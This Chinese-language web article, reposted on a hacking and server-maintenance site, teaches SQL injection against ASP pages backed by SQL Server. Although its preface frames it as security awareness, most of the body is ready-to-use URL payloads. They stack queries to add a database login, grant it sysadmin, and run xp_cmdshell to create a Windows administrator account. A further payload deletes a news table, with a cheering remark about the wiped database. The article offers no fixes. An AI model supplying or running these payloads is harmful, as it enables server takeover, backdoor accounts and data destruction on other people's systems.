SQL数据库安全专题&amquotQL数据库数据库的一些攻击_SQL SERVER数据库_黑客防线网安服务器维护基地--Powered by WWW.RONGSEN.COM.CN

SQL数据库安全专题&amquotQL数据库数据库的一些攻击

作者:黑客防线网安SQL维护基地 来源:黑客防线网安SQL维护基地 浏览次数:0

本篇关键词:一些攻击专题数据库
黑客防线网安网讯:  编者:如何保障windows系统的安全,是我们一直在关注的问题;我们有专门的专题对这个话题进行讨论。  这篇文章讲的虽然是很多已被人所熟知的攻击技巧,但是收集起来展示可以让我们对于...

  编者:如何保障windows系统的安全是我们一直在关注的问题;我们有专门的专题对这个话题进行讨论

  这篇文章讲的虽然是很多已被人所熟知的攻击技巧但是收集起来展示可以让我们对于SQL Server的安全配置有更好的认识,毕竟所有人都知道的漏洞就称不上是漏洞,最要命的是所有人都知道这个漏洞,惟独就你不知道,这样无疑是非常危险的希望这篇文章的内容有助于SQL Server用户更好的保障数据库的安全。

  对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编 程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!

  这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变 量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....

  这种方法请求数据库,那么如果还用以上的例子就会

news.asp?id=2;exec sp_addlogin hax  
  变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...

  整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法

news.asp?id=2;exec sp_addlogin hax;--  
  后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!

  那么我们连一起来用吧

  news.asp?id=2;exec master.dbo.sp_addlogin hax;--

  news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--

  news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--

  news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

  news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--

  这样,你在他的数据库和系统内都留下了hax管理员账号了

  当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。

  以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵

  当然大家可以试试看在id=2后面加上一个'符号,主要看对方的ASP怎么写了

  再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。

  假设有如下页面

  http://www.xxxxx.com/news/news-2.asp?newid=117

  大家可以试试看http://www.xxxxx.com/news/news-2.asp?newid=117;select 123;--

  呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面用'号结束

  那么试试看http://www.xxxxx.com/news/news-2.asp?newid=117';delete news;--

  哈哈,我想只要表名猜对了,新闻库就被删了

  通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限

    黑客防线网安服务器维护方案本篇连接:http://www.rongsen.com.cn/show-9816-1.html
网站维护教程更新时间:2012-03-21 02:26:13  【打印此页】  【关闭
我要申请本站N点 | 黑客防线官网 |  
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479

footer  footer  footer  footer